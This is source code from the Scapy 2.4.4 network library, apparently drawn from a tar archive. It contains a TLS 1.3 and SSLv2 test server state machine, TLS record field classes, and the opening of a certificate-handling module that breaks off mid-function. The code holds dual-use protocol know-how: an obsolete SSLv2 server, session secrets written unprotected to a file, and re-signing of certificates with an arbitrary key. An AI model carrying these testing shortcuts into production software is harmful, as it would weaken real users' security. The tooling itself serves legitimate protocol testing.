XXX check ClientHello extensions... for m in reversed(self.cur_session.handshake_messages_parsed): if isinstance(m, (TLS13ClientHello, TLSClientHello)): for e in m.ext: if isinstance(e, TLS_Ext_PreSharedKey_CH): psk_identity = e.identities[0].identity obfuscated_age = e.identities[0].obfuscated_ticket_age binder = e.binders[0].binder # For out-of-bound PSK, obfuscated_ticket_age should be # 0. We use this field to distinguish between out-of- # bound PSK and resumed PSK is_out_of_band_psk = (obfuscated_age == 0) if isinstance(e, TLS_Ext_PSKKeyExchangeModes): psk_key_exchange_mode = e.kxmodes[0] if isinstance(self.mykey, PrivKeyRSA): kx = "RSA" elif isinstance(self.mykey, PrivKeyECDSA): kx = "ECDSA" usable_suites = get_usable_ciphersuites(self.cur_pkt.ciphers, kx) c = usable_suites[0] group = next(iter(self.cur_session.tls13_client_pubshares)) ext = [TLS_Ext_SupportedVersion_SH(version="TLS 1.3")] if (psk_identity and obfuscated_age and psk_key_exchange_mode): s = self.cur_session if is_out_of_band_psk: # Handshake with external PSK authentication # XXX test that self.psk_secret is set s.tls13_psk_secret = binascii.unhexlify(self.psk_secret) # 0: "psk_ke" # 1: "psk_dhe_ke" if psk_key_exchange_mode == 1: server_kse = KeyShareEntry(group=group) ext += TLS_Ext_KeyShare_SH(server_share=server_kse) ext += TLS_Ext_PreSharedKey_SH(selected_identity=0) else: resumption_psk = self.verify_psk_binder(psk_identity, obfuscated_age, binder) if resumption_psk is None: # We did not find a ticket matching the one provided in the # ClientHello. We fallback to a regular 1-RTT handshake server_kse = KeyShareEntry(group=group) ext += [TLS_Ext_KeyShare_SH(server_share=server_kse)] else: # 0: "psk_ke" # 1: "psk_dhe_ke" if psk_key_exchange_mode == 1: server_kse = KeyShareEntry(group=group) ext += [TLS_Ext_KeyShare_SH(server_share=server_kse)] ext += [TLS_Ext_PreSharedKey_SH(selected_identity=0)] self.cur_session.tls13_psk_secret = resumption_psk else: # Standard Handshake ext += TLS_Ext_KeyShare_SH(server_share=KeyShareEntry(group=group)) if self.cur_session.sid is not None: p = TLS13ServerHello(cipher=c, sid=self.cur_session.sid, ext=ext) else: p = TLS13ServerHello(cipher=c, ext=ext) self.add_msg(p) raise self.tls13_ADDED_SERVERHELLO() @ATMT.state() def tls13_ADDED_SERVERHELLO(self): # If the client proposed a non-empty session ID in his ClientHello # he requested the middlebox compatibility mode (RFC8446, appendix D.4) # In this case, the server should send a dummy ChangeCipherSpec in # between the ServerHello and the encrypted handshake messages if self.cur_session.sid is not None: self.add_record(is_tls12=True) self.add_msg(TLSChangeCipherSpec()) pass @ATMT.condition(tls13_ADDED_SERVERHELLO) def tls13_should_add_EncryptedExtensions(self): self.add_record(is_tls13=True) self.add_msg(TLSEncryptedExtensions(extlen=0)) raise self.tls13_ADDED_ENCRYPTEDEXTENSIONS() @ATMT.state() def tls13_ADDED_ENCRYPTEDEXTENSIONS(self): pass @ATMT.condition(tls13_ADDED_ENCRYPTEDEXTENSIONS) def tls13_should_add_CertificateRequest(self): if self.client_auth: ext = [TLS_Ext_SignatureAlgorithms(sig_algs=["sha256+rsaepss"])] p = TLS13CertificateRequest(ext=ext) self.add_msg(p) raise self.tls13_ADDED_CERTIFICATEREQUEST() @ATMT.state() def tls13_ADDED_CERTIFICATEREQUEST(self): pass @ATMT.condition(tls13_ADDED_CERTIFICATEREQUEST) def tls13_should_add_Certificate(self): # If a PSK is set, an extension pre_shared_key # was send in the ServerHello. No certificate should # be send here if not self.cur_session.tls13_psk_secret: certs = [] for c in self.cur_session.server_certs: certs += _ASN1CertAndExt(cert=c) self.add_msg(TLS13Certificate(certs=certs)) raise self.tls13_ADDED_CERTIFICATE() @ATMT.state() def tls13_ADDED_CERTIFICATE(self): pass @ATMT.condition(tls13_ADDED_CERTIFICATE) def tls13_should_add_CertificateVerifiy(self): if not self.cur_session.tls13_psk_secret: self.add_msg(TLSCertificateVerify()) raise self.tls13_ADDED_CERTIFICATEVERIFY() @ATMT.state() def tls13_ADDED_CERTIFICATEVERIFY(self): pass @ATMT.condition(tls13_ADDED_CERTIFICATEVERIFY) def tls13_should_add_Finished(self): self.add_msg(TLSFinished()) raise self.tls13_ADDED_SERVERFINISHED() @ATMT.state() def tls13_ADDED_SERVERFINISHED(self): pass @ATMT.condition(tls13_ADDED_SERVERFINISHED) def tls13_should_send_ServerFlight1(self): self.flush_records() raise self.tls13_WAITING_CLIENTFLIGHT2() @ATMT.state() def tls13_WAITING_CLIENTFLIGHT2(self): self.get_next_msg() raise self.tls13_RECEIVED_CLIENTFLIGHT2() @ATMT.state() def tls13_RECEIVED_CLIENTFLIGHT2(self): pass @ATMT.condition(tls13_RECEIVED_CLIENTFLIGHT2, prio=1) def tls13_should_handle_ClientFlight2(self): self.raise_on_packet(TLS13Certificate, self.TLS13_HANDLED_CLIENTCERTIFICATE) @ATMT.condition(tls13_RECEIVED_CLIENTFLIGHT2, prio=2) def tls13_should_handle_Alert_from_ClientCertificate(self): self.raise_on_packet(TLSAlert, self.TLS13_HANDLED_ALERT_FROM_CLIENTCERTIFICATE) @ATMT.state() def TLS13_HANDLED_ALERT_FROM_CLIENTCERTIFICATE(self): self.vprint("Received Alert message instead of ClientKeyExchange!") self.vprint(self.cur_pkt.mysummary()) raise self.CLOSE_NOTIFY() # For Middlebox compatibility (see RFC8446, appendix D.4) # a dummy ChangeCipherSpec record can be send. In this case, # this function just read the ChangeCipherSpec message and # go back in a previous state continuing with the next TLS 1.3 # record @ATMT.condition(tls13_RECEIVED_CLIENTFLIGHT2, prio=3) def tls13_should_handle_ClientCCS(self): self.raise_on_packet(TLSChangeCipherSpec, self.tls13_RECEIVED_CLIENTFLIGHT2) @ATMT.condition(tls13_RECEIVED_CLIENTFLIGHT2, prio=4) def tls13_no_ClientCertificate(self): if self.client_auth: raise self.TLS13_MISSING_CLIENTCERTIFICATE() self.raise_on_packet(TLSFinished, self.TLS13_HANDLED_CLIENTFINISHED) # RFC8446, section 4.4.2.4 : # "If the client does not send any certificates (i.e., it sends an empty # Certificate message), the server MAY at its discretion either # continue the handshake without client authentication or abort the # handshake with a "certificate_required" alert." # Here, we abort the handshake. @ATMT.state() def TLS13_HANDLED_CLIENTCERTIFICATE(self): if self.client_auth: self.vprint("Received client certificate chain...") if isinstance(self.cur_pkt, TLS13Certificate): if self.cur_pkt.certslen == 0: self.vprint("but it's empty !") raise self.TLS13_MISSING_CLIENTCERTIFICATE() @ATMT.condition(TLS13_HANDLED_CLIENTCERTIFICATE) def tls13_should_handle_ClientCertificateVerify(self): self.raise_on_packet(TLSCertificateVerify, self.TLS13_HANDLED_CLIENT_CERTIFICATEVERIFY) @ATMT.condition(TLS13_HANDLED_CLIENTCERTIFICATE, prio=2) def tls13_no_Client_CertificateVerify(self): if self.client_auth: raise self.TLS13_MISSING_CLIENTCERTIFICATE() raise self.TLS13_HANDLED_CLIENT_CERTIFICATEVERIFY() @ATMT.state() def TLS13_HANDLED_CLIENT_CERTIFICATEVERIFY(self): pass @ATMT.condition(TLS13_HANDLED_CLIENT_CERTIFICATEVERIFY) def tls13_should_handle_ClientFinished(self): self.raise_on_packet(TLSFinished, self.TLS13_HANDLED_CLIENTFINISHED) @ATMT.state() def TLS13_MISSING_CLIENTCERTIFICATE(self): self.vprint("Missing ClientCertificate!") self.add_record() self.add_msg(TLSAlert(level=2, descr=0x74)) self.flush_records() self.vprint("Sending TLSAlert 116") self.socket.close() raise self.WAITING_CLIENT() @ATMT.state() def TLS13_HANDLED_CLIENTFINISHED(self): self.vprint("TLS handshake completed!") self.vprint_sessioninfo() if self.is_echo_server: self.vprint("Will now act as a simple echo server.") raise self.WAITING_CLIENTDATA() # end of TLS 1.3 handshake # @ATMT.state() def WAITING_CLIENTDATA(self): self.get_next_msg(self.max_client_idle_time, 1) raise self.RECEIVED_CLIENTDATA() @ATMT.state() def RECEIVED_CLIENTDATA(self): pass def save_ticket(self, ticket): """ This function save a ticket and others parameters in the file given as argument to the automaton Warning : The file is not protected and contains sensitive information. It should be used only for testing purpose. """ if (not isinstance(ticket, TLS13NewSessionTicket) or self.session_ticket_file is None): return s = self.cur_session with open(self.session_ticket_file, "ab") as f: # ticket;ticket_nonce;obfuscated_age;start_time;resumption_secret line = binascii.hexlify(ticket.ticket) line += b";" line += binascii.hexlify(ticket.ticket_nonce) line += b";" line += binascii.hexlify(struct.pack("!I", ticket.ticket_lifetime)) line += b";" line += binascii.hexlify(struct.pack("!I", ticket.ticket_age_add)) line += b";" line += binascii.hexlify(struct.pack("!I", int(time.time()))) line += b";" line += binascii.hexlify(s.tls13_derived_secrets["resumption_secret"]) # noqa: E501 line += b";" line += binascii.hexlify(struct.pack("!H", s.wcs.ciphersuite.val)) line += b";" if (ticket.ext is None or ticket.extlen is None or ticket.extlen == 0): line += binascii.hexlify(struct.pack("!I", 0)) else: for e in ticket.ext: if isinstance(e, TLS_Ext_EarlyDataIndicationTicket): max_size = struct.pack("!I", e.max_early_data_size) line += binascii.hexlify(max_size) line += b"\n" f.write(line) @ATMT.condition(RECEIVED_CLIENTDATA) def should_handle_ClientData(self): if not self.buffer_in: self.vprint("Client idle time maxed out.") raise self.CLOSE_NOTIFY() p = self.buffer_in[0] self.buffer_in = self.buffer_in[1:] recv_data = b"" if isinstance(p, TLSApplicationData): print("> Received: %r" % p.data) recv_data = p.data lines = recv_data.split(b"\n") for line in lines: if line.startswith(b"stop_server"): raise self.CLOSE_NOTIFY_FINAL() elif isinstance(p, TLSAlert): print("> Received: %r" % p) raise self.CLOSE_NOTIFY() elif isinstance(p, TLS13KeyUpdate): print("> Received: %r" % p) p = TLS13KeyUpdate(request_update=0) self.add_record() self.add_msg(p) raise self.ADDED_SERVERDATA() else: print("> Received: %r" % p) if recv_data.startswith(b"GET / HTTP/1.1"): p = TLSApplicationData(data=self.http_sessioninfo()) if self.is_echo_server or recv_data.startswith(b"GET / HTTP/1.1"): self.add_record() self.add_msg(p) if self.handle_session_ticket: self.add_record() ticket = TLS13NewSessionTicket(ext=[]) self.add_msg(ticket) raise self.ADDED_SERVERDATA() raise self.HANDLED_CLIENTDATA() @ATMT.state() def HANDLED_CLIENTDATA(self): raise self.WAITING_CLIENTDATA() @ATMT.state() def ADDED_SERVERDATA(self): pass @ATMT.condition(ADDED_SERVERDATA) def should_send_ServerData(self): if self.session_ticket_file: save_ticket = False for p in self.buffer_out: if isinstance(p, TLS13): # Check if there's a NewSessionTicket to send save_ticket = all(map(lambda x: isinstance(x, TLS13NewSessionTicket), # noqa: E501 p.inner.msg)) if save_ticket: break self.flush_records() if self.session_ticket_file and save_ticket: # Loop backward in message send to retrieve the parsed # NewSessionTicket. This message is not completely build before the # flush_records() call. Other way to build this message before ? for p in reversed(self.cur_session.handshake_messages_parsed): if isinstance(p, TLS13NewSessionTicket): self.save_ticket(p) break raise self.SENT_SERVERDATA() @ATMT.state() def SENT_SERVERDATA(self): raise self.WAITING_CLIENTDATA() @ATMT.state() def CLOSE_NOTIFY(self): self.vprint() self.vprint("Sending a TLSAlert to the client...") @ATMT.condition(CLOSE_NOTIFY) def close_session(self): self.add_record() self.add_msg(TLSAlert(level=1, descr=0)) try: self.flush_records() except Exception: self.vprint("Could not send termination Alert, maybe the client left?") # noqa: E501 self.buffer_out = [] self.socket.close() raise self.WAITING_CLIENT() @ATMT.state() def CLOSE_NOTIFY_FINAL(self): self.vprint() self.vprint("Sending a TLSAlert to the client...") @ATMT.condition(CLOSE_NOTIFY_FINAL) def close_session_final(self): self.add_record() self.add_msg(TLSAlert(level=1, descr=0)) try: self.flush_records() except Exception: self.vprint("Could not send termination Alert, maybe the client left?") # noqa: E501 # We might call shutdown, but unit tests with s_client fail with this # self.socket.shutdown(1) self.socket.close() raise self.FINAL() # SSLv2 handshake # @ATMT.condition(RECEIVED_CLIENTFLIGHT1, prio=2) def sslv2_should_handle_ClientHello(self): self.raise_on_packet(SSLv2ClientHello, self.SSLv2_HANDLED_CLIENTHELLO) @ATMT.state() def SSLv2_HANDLED_CLIENTHELLO(self): pass @ATMT.condition(SSLv2_HANDLED_CLIENTHELLO) def sslv2_should_add_ServerHello(self): self.add_record(is_sslv2=True) cert = self.mycert ciphers = [0x010080, 0x020080, 0x030080, 0x040080, 0x050080, 0x060040, 0x0700C0] connection_id = randstring(16) p = SSLv2ServerHello(cert=cert, ciphers=ciphers, connection_id=connection_id) self.add_msg(p) raise self.SSLv2_ADDED_SERVERHELLO() @ATMT.state() def SSLv2_ADDED_SERVERHELLO(self): pass @ATMT.condition(SSLv2_ADDED_SERVERHELLO) def sslv2_should_send_ServerHello(self): self.flush_records() raise self.SSLv2_SENT_SERVERHELLO() @ATMT.state() def SSLv2_SENT_SERVERHELLO(self): raise self.SSLv2_WAITING_CLIENTMASTERKEY() @ATMT.state() def SSLv2_WAITING_CLIENTMASTERKEY(self): self.get_next_msg() raise self.SSLv2_RECEIVED_CLIENTMASTERKEY() @ATMT.state() def SSLv2_RECEIVED_CLIENTMASTERKEY(self): pass @ATMT.condition(SSLv2_RECEIVED_CLIENTMASTERKEY, prio=1) def sslv2_should_handle_ClientMasterKey(self): self.raise_on_packet(SSLv2ClientMasterKey, self.SSLv2_HANDLED_CLIENTMASTERKEY) @ATMT.condition(SSLv2_RECEIVED_CLIENTMASTERKEY, prio=2) def missing_ClientMasterKey(self): raise self.SSLv2_MISSING_CLIENTMASTERKEY() @ATMT.state() def SSLv2_MISSING_CLIENTMASTERKEY(self): self.vprint("Missing SSLv2 ClientMasterKey!") raise self.SSLv2_CLOSE_NOTIFY() @ATMT.state() def SSLv2_HANDLED_CLIENTMASTERKEY(self): raise self.SSLv2_RECEIVED_CLIENTFINISHED() @ATMT.state() def SSLv2_RECEIVED_CLIENTFINISHED(self): pass @ATMT.condition(SSLv2_RECEIVED_CLIENTFINISHED, prio=1) def sslv2_should_handle_ClientFinished(self): self.raise_on_packet(SSLv2ClientFinished, self.SSLv2_HANDLED_CLIENTFINISHED) @ATMT.state() def SSLv2_HANDLED_CLIENTFINISHED(self): pass @ATMT.condition(SSLv2_HANDLED_CLIENTFINISHED, prio=1) def sslv2_should_add_ServerVerify_from_ClientFinished(self): hs_msg = [type(m) for m in self.cur_session.handshake_messages_parsed] if SSLv2ServerVerify in hs_msg: return self.add_record(is_sslv2=True) p = SSLv2ServerVerify(challenge=self.cur_session.sslv2_challenge) self.add_msg(p) raise self.SSLv2_ADDED_SERVERVERIFY() @ATMT.condition(SSLv2_RECEIVED_CLIENTFINISHED, prio=2) def sslv2_should_add_ServerVerify_from_NoClientFinished(self): hs_msg = [type(m) for m in self.cur_session.handshake_messages_parsed] if SSLv2ServerVerify in hs_msg: return self.add_record(is_sslv2=True) p = SSLv2ServerVerify(challenge=self.cur_session.sslv2_challenge) self.add_msg(p) raise self.SSLv2_ADDED_SERVERVERIFY() @ATMT.condition(SSLv2_RECEIVED_CLIENTFINISHED, prio=3) def sslv2_missing_ClientFinished(self): raise self.SSLv2_MISSING_CLIENTFINISHED() @ATMT.state() def SSLv2_MISSING_CLIENTFINISHED(self): self.vprint("Missing SSLv2 ClientFinished!") raise self.SSLv2_CLOSE_NOTIFY() @ATMT.state() def SSLv2_ADDED_SERVERVERIFY(self): pass @ATMT.condition(SSLv2_ADDED_SERVERVERIFY) def sslv2_should_send_ServerVerify(self): self.flush_records() raise self.SSLv2_SENT_SERVERVERIFY() @ATMT.state() def SSLv2_SENT_SERVERVERIFY(self): hs_msg = [type(m) for m in self.cur_session.handshake_messages_parsed] if SSLv2ClientFinished in hs_msg: raise self.SSLv2_HANDLED_CLIENTFINISHED() else: raise self.SSLv2_RECEIVED_CLIENTFINISHED() # SSLv2 client authentication # @ATMT.condition(SSLv2_HANDLED_CLIENTFINISHED, prio=2) def sslv2_should_add_RequestCertificate(self): hs_msg = [type(m) for m in self.cur_session.handshake_messages_parsed] if not self.client_auth or SSLv2RequestCertificate in hs_msg: return self.add_record(is_sslv2=True) self.add_msg(SSLv2RequestCertificate(challenge=randstring(16))) raise self.SSLv2_ADDED_REQUESTCERTIFICATE() @ATMT.state() def SSLv2_ADDED_REQUESTCERTIFICATE(self): pass @ATMT.condition(SSLv2_ADDED_REQUESTCERTIFICATE) def sslv2_should_send_RequestCertificate(self): self.flush_records() raise self.SSLv2_SENT_REQUESTCERTIFICATE() @ATMT.state() def SSLv2_SENT_REQUESTCERTIFICATE(self): raise self.SSLv2_WAITING_CLIENTCERTIFICATE() @ATMT.state() def SSLv2_WAITING_CLIENTCERTIFICATE(self): self.get_next_msg() raise self.SSLv2_RECEIVED_CLIENTCERTIFICATE() @ATMT.state() def SSLv2_RECEIVED_CLIENTCERTIFICATE(self): pass @ATMT.condition(SSLv2_RECEIVED_CLIENTCERTIFICATE, prio=1) def sslv2_should_handle_ClientCertificate(self): self.raise_on_packet(SSLv2ClientCertificate, self.SSLv2_HANDLED_CLIENTCERTIFICATE) @ATMT.condition(SSLv2_RECEIVED_CLIENTCERTIFICATE, prio=2) def sslv2_missing_ClientCertificate(self): raise self.SSLv2_MISSING_CLIENTCERTIFICATE() @ATMT.state() def SSLv2_MISSING_CLIENTCERTIFICATE(self): self.vprint("Missing SSLv2 ClientCertificate!") raise self.SSLv2_CLOSE_NOTIFY() @ATMT.state() def SSLv2_HANDLED_CLIENTCERTIFICATE(self): self.vprint("Received client certificate...") # We could care about the client CA, but we don't. raise self.SSLv2_HANDLED_CLIENTFINISHED() # end of SSLv2 client authentication # @ATMT.condition(SSLv2_HANDLED_CLIENTFINISHED, prio=3) def sslv2_should_add_ServerFinished(self): self.add_record(is_sslv2=True) self.add_msg(SSLv2ServerFinished(sid=randstring(16))) raise self.SSLv2_ADDED_SERVERFINISHED() @ATMT.state() def SSLv2_ADDED_SERVERFINISHED(self): pass @ATMT.condition(SSLv2_ADDED_SERVERFINISHED) def sslv2_should_send_ServerFinished(self): self.flush_records() raise self.SSLv2_SENT_SERVERFINISHED() @ATMT.state() def SSLv2_SENT_SERVERFINISHED(self): self.vprint("SSLv2 handshake completed!") self.vprint_sessioninfo() if self.is_echo_server: self.vprint("Will now act as a simple echo server.") raise self.SSLv2_WAITING_CLIENTDATA() # end of SSLv2 handshake # @ATMT.state() def SSLv2_WAITING_CLIENTDATA(self): self.get_next_msg(self.max_client_idle_time, 1) raise self.SSLv2_RECEIVED_CLIENTDATA() @ATMT.state() def SSLv2_RECEIVED_CLIENTDATA(self): pass @ATMT.condition(SSLv2_RECEIVED_CLIENTDATA) def sslv2_should_handle_ClientData(self): if not self.buffer_in: self.vprint("Client idle time maxed out.") raise self.SSLv2_CLOSE_NOTIFY() p = self.buffer_in[0] self.buffer_in = self.buffer_in[1:] if hasattr(p, "load"): cli_data = p.load print("> Received: %r" % cli_data) if cli_data.startswith(b"goodbye"): self.vprint() self.vprint("Seems like the client left...") raise self.WAITING_CLIENT() else: cli_data = str(p) print("> Received: %r" % p) lines = cli_data.split(b"\n") for line in lines: if line.startswith(b"stop_server"): raise self.SSLv2_CLOSE_NOTIFY_FINAL() if cli_data.startswith(b"GET / HTTP/1.1"): p = Raw(self.http_sessioninfo()) if self.is_echo_server or cli_data.startswith(b"GET / HTTP/1.1"): self.add_record(is_sslv2=True) self.add_msg(p) raise self.SSLv2_ADDED_SERVERDATA() raise self.SSLv2_HANDLED_CLIENTDATA() @ATMT.state() def SSLv2_HANDLED_CLIENTDATA(self): raise self.SSLv2_WAITING_CLIENTDATA() @ATMT.state() def SSLv2_ADDED_SERVERDATA(self): pass @ATMT.condition(SSLv2_ADDED_SERVERDATA) def sslv2_should_send_ServerData(self): self.flush_records() raise self.SSLv2_SENT_SERVERDATA() @ATMT.state() def SSLv2_SENT_SERVERDATA(self): raise self.SSLv2_WAITING_CLIENTDATA() @ATMT.state() def SSLv2_CLOSE_NOTIFY(self): """ There is no proper way to end an SSLv2 session. We try and send a 'goodbye' message as a substitute. """ self.vprint() self.vprint("Trying to send 'goodbye' to the client...") @ATMT.condition(SSLv2_CLOSE_NOTIFY) def sslv2_close_session(self): self.add_record() self.add_msg(Raw('goodbye')) try: self.flush_records() except Exception: self.vprint("Could not send our goodbye. The client probably left.") # noqa: E501 self.buffer_out = [] self.socket.close() raise self.WAITING_CLIENT() @ATMT.state() def SSLv2_CLOSE_NOTIFY_FINAL(self): """ There is no proper way to end an SSLv2 session. We try and send a 'goodbye' message as a substitute. """ self.vprint() self.vprint("Trying to send 'goodbye' to the client...") @ATMT.condition(SSLv2_CLOSE_NOTIFY_FINAL) def sslv2_close_session_final(self): self.add_record() self.add_msg(Raw('goodbye')) try: self.flush_records() except Exception: self.vprint("Could not send our goodbye. The client probably left.") # noqa: E501 self.socket.close() raise self.FINAL() @ATMT.state(final=True) def FINAL(self): self.vprint("Closing server socket...") self.serversocket.close() self.vprint("Ending TLS server automaton.") scapy-2.4.4/scapy/layers/tls/basefields.py000066400000000000000000000203151372370053500205410ustar00rootroot00000000000000# This file is part of Scapy # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury # This program is published under a GPLv2 license """ TLS base fields, used for record parsing/building. As several operations depend upon the TLS version or ciphersuite, the packet has to provide a TLS context. """ import struct from scapy.fields import ByteField, ShortEnumField, ShortField, StrField import scapy.modules.six as six from scapy.compat import orb _tls_type = {20: "change_cipher_spec", 21: "alert", 22: "handshake", 23: "application_data"} _tls_version = {0x0002: "SSLv2", 0x0200: "SSLv2", 0x0300: "SSLv3", 0x0301: "TLS 1.0", 0x0302: "TLS 1.1", 0x0303: "TLS 1.2", 0x7f12: "TLS 1.3-d18", 0x7f13: "TLS 1.3-d19", 0x0304: "TLS 1.3"} _tls_version_options = {"sslv2": 0x0002, "sslv3": 0x0300, "tls1": 0x0301, "tls10": 0x0301, "tls11": 0x0302, "tls12": 0x0303, "tls13-d18": 0x7f12, "tls13-d19": 0x7f13, "tls13": 0x0304} def _tls13_version_filter(version, legacy_version): if version < 0x0304: return version else: return legacy_version class _TLSClientVersionField(ShortEnumField): """ We use the advertised_tls_version if it has been defined, and the legacy 0x0303 for TLS 1.3 packets. """ def i2h(self, pkt, x): if x is None: v = pkt.tls_session.advertised_tls_version if v: return _tls13_version_filter(v, 0x0303) return "" return x def i2m(self, pkt, x): if x is None: v = pkt.tls_session.advertised_tls_version if v: return _tls13_version_filter(v, 0x0303) return b"" return x class _TLSVersionField(ShortEnumField): """ We use the tls_version if it has been defined, else the advertised version. Also, the legacy 0x0301 is used for TLS 1.3 packets. """ def i2h(self, pkt, x): if x is None: v = pkt.tls_session.tls_version if v: return _tls13_version_filter(v, 0x0301) else: adv_v = pkt.tls_session.advertised_tls_version return _tls13_version_filter(adv_v, 0x0301) return x def i2m(self, pkt, x): if x is None: v = pkt.tls_session.tls_version if v: return _tls13_version_filter(v, 0x0301) else: adv_v = pkt.tls_session.advertised_tls_version return _tls13_version_filter(adv_v, 0x0301) return x class _TLSLengthField(ShortField): def i2repr(self, pkt, x): s = super(_TLSLengthField, self).i2repr(pkt, x) if pkt.deciphered_len is not None: dx = pkt.deciphered_len ds = super(_TLSLengthField, self).i2repr(pkt, dx) s += " [deciphered_len= %s]" % ds return s class _TLSIVField(StrField): """ As stated in Section 6.2.3.2. RFC 4346, TLS 1.1 implements an explicit IV mechanism. For that reason, the behavior of the field is dependent on the TLS version found in the packet if available or otherwise (on build, if not overloaded, it is provided by the session). The size of the IV and its value are obviously provided by the session. As a side note, for the first packets exchanged by peers, NULL being the default enc alg, it is empty (except if forced to a specific value). Also note that the field is kept empty (unless forced to a specific value) when the cipher is a stream cipher (and NULL is considered a stream cipher). """ def i2len(self, pkt, i): if i is not None: return len(i) tmp_len = 0 cipher_type = pkt.tls_session.rcs.cipher.type if cipher_type == "block": if pkt.tls_session.tls_version >= 0x0302: tmp_len = pkt.tls_session.rcs.cipher.block_size elif cipher_type == "aead": tmp_len = pkt.tls_session.rcs.cipher.nonce_explicit_len return tmp_len def i2m(self, pkt, x): return x or b"" def addfield(self, pkt, s, val): return s + self.i2m(pkt, val) def getfield(self, pkt, s): tmp_len = 0 cipher_type = pkt.tls_session.rcs.cipher.type if cipher_type == "block": if pkt.tls_session.tls_version >= 0x0302: tmp_len = pkt.tls_session.rcs.cipher.block_size elif cipher_type == "aead": tmp_len = pkt.tls_session.rcs.cipher.nonce_explicit_len return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) def i2repr(self, pkt, x): return repr(self.i2m(pkt, x)) class _TLSMACField(StrField): def i2len(self, pkt, i): if i is not None: return len(i) return pkt.tls_session.wcs.mac_len def i2m(self, pkt, x): if x is None: return b"" return x def addfield(self, pkt, s, val): # We add nothing here. This is done in .post_build() if needed. return s def getfield(self, pkt, s): if (pkt.tls_session.rcs.cipher.type != "aead" and False in six.itervalues(pkt.tls_session.rcs.cipher.ready)): # XXX Find a more proper way to handle the still-encrypted case return s, b"" tmp_len = pkt.tls_session.rcs.mac_len return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) def i2repr(self, pkt, x): # XXX Provide status when dissection has been performed successfully? return repr(self.i2m(pkt, x)) class _TLSPadField(StrField): def i2len(self, pkt, i): if i is not None: return len(i) return 0 def i2m(self, pkt, x): if x is None: return b"" return x def addfield(self, pkt, s, val): # We add nothing here. This is done in .post_build() if needed. return s def getfield(self, pkt, s): if pkt.tls_session.consider_read_padding(): # This should work with SSLv3 and also TLS versions. # Note that we need to retrieve pkt.padlen beforehand, # because it's possible that the padding is followed by some data # from another TLS record (hence the last byte from s would not be # the last byte from the current record padding). tmp_len = orb(s[pkt.padlen - 1]) return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) return s, None def i2repr(self, pkt, x): # XXX Provide status when dissection has been performed successfully? return repr(self.i2m(pkt, x)) class _TLSPadLenField(ByteField): def addfield(self, pkt, s, val): # We add nothing here. This is done in .post_build() if needed. return s def getfield(self, pkt, s): if pkt.tls_session.consider_read_padding(): return ByteField.getfield(self, pkt, s) return s, None # SSLv2 fields class _SSLv2LengthField(_TLSLengthField): def i2repr(self, pkt, x): s = super(_SSLv2LengthField, self).i2repr(pkt, x) if pkt.with_padding: x |= 0x8000 # elif pkt.with_escape: #XXX no complete support for 'escape' yet # x |= 0x4000 s += " [with padding: %s]" % hex(x) return s def getfield(self, pkt, s): msglen = struct.unpack('!H', s[:2])[0] pkt.with_padding = (msglen & 0x8000) == 0 if pkt.with_padding: msglen_clean = msglen & 0x3fff else: msglen_clean = msglen & 0x7fff return s[2:], msglen_clean class _SSLv2MACField(_TLSMACField): pass class _SSLv2PadField(_TLSPadField): def getfield(self, pkt, s): if pkt.padlen is not None: tmp_len = pkt.padlen return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) return s, None class _SSLv2PadLenField(_TLSPadLenField): def getfield(self, pkt, s): if pkt.with_padding: return ByteField.getfield(self, pkt, s) return s, None scapy-2.4.4/scapy/layers/tls/cert.py000066400000000000000000001112071372370053500173760ustar00rootroot00000000000000# This file is part of Scapy # Copyright (C) 2008 Arnaud Ebalard # # 2015, 2016, 2017 Maxence Tury # This program is published under a GPLv2 license """ High-level methods for PKI objects (X.509 certificates, CRLs, asymmetric keys). Supports both RSA and ECDSA objects. The classes below are wrappers for the ASN.1 objects defined in x509.py. By collecting their attributes, we bypass the ASN.1 structure, hence there is no direct method for exporting a new full DER-encoded version of a Cert instance after its serial has been modified (for example). If you need to modify an import, just use the corresponding ASN1_Packet. For instance, here is what you could do in order to modify the serial of 'cert' and then resign it with whatever 'key':: f = open('cert.der') c = X509_Cert(f.read()) c.tbsCertificate.serialNumber = 0x4B1D k = PrivKey('key.pem') new_x509_cert = k.resignCert(c) No need for obnoxious openssl tweaking anymore. :) """ from __future__ import absolute_import from __future__ import print_function import base64 import os import time from scapy.config import conf, crypto_validator import scapy.modules.six as six from scapy.modules.six.moves import range from scapy.error import warning from scapy.utils import binrepr from scapy.asn1.asn1 import ASN1_BIT_STRING from scapy.asn1.mib import hash_by_oid from scapy.layers.x509 import (X509_SubjectPublicKeyInfo, RSAPublicKey, RSAPrivateKey, ECDSAPublicKey, ECDSAPrivateKey, RSAPrivateKey_OpenSSL, ECDSAPrivateKey_OpenSSL, X509_Cert, X509_CRL) from scapy.layers.tls.crypto.pkcs1 import pkcs_os2ip, _get_hash, \ _EncryptAndVerifyRSA, _DecryptAndSignRSA from scapy.compat import raw, bytes_encode if conf.crypto_valid: from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import rsa, ec from cryptography.hazmat.backends.openssl.ec import InvalidSignature # Maximum allowed size in bytes for a certificate file, to avoid # loading huge file when importing a cert _MAX_KEY_SIZE = 50 * 1024 _MAX_CERT_SIZE = 50 * 1024 _MAX_CRL_SIZE = 10 * 1024 * 1024 # some are that big ##################################################################### # Some helpers ##################################################################### @conf.commands.register def der2pem(der_string, obj="UNKNOWN"): """Convert DER octet string to PEM format (with optional header)""" # Encode a byte string in PEM format. Header advertises type. pem_string = ("-----BEGIN %s-----\n" % obj).encode() base64_string = base64.b64encode(der_string) chunks = [base64_string[i:i + 64] for i in range(0, len(base64_string), 64)] # noqa: E501 pem_string += b'\n'.join(chunks) pem_string += ("\n-----END %s-----\n" % obj).encode() return pem_string @conf.commands.register def pem2der(pem_string): """Convert PEM string to DER format""" # Encode all lines between the first '-----\n' and the 2nd-to-last '-----'. pem_string = pem_string.replace(b"\r", b"") first_idx = pem_string.find(b"-----\n") + 6 if pem_string.find(b"-----BEGIN", first_idx) != -1: raise Exception("pem2der() expects only one PEM-encoded object") last_idx = pem_string.rfind(b"-----", 0, pem_string.rfind(b"-----")) base64_string = pem_string[first_idx:last_idx] base64_string.replace(b"\n", b"") der_string = base64.b64decode(base64_string) return der_string def split_pem(s): """ Split PEM objects. Useful to process concatenated certificates. """ pem_strings = 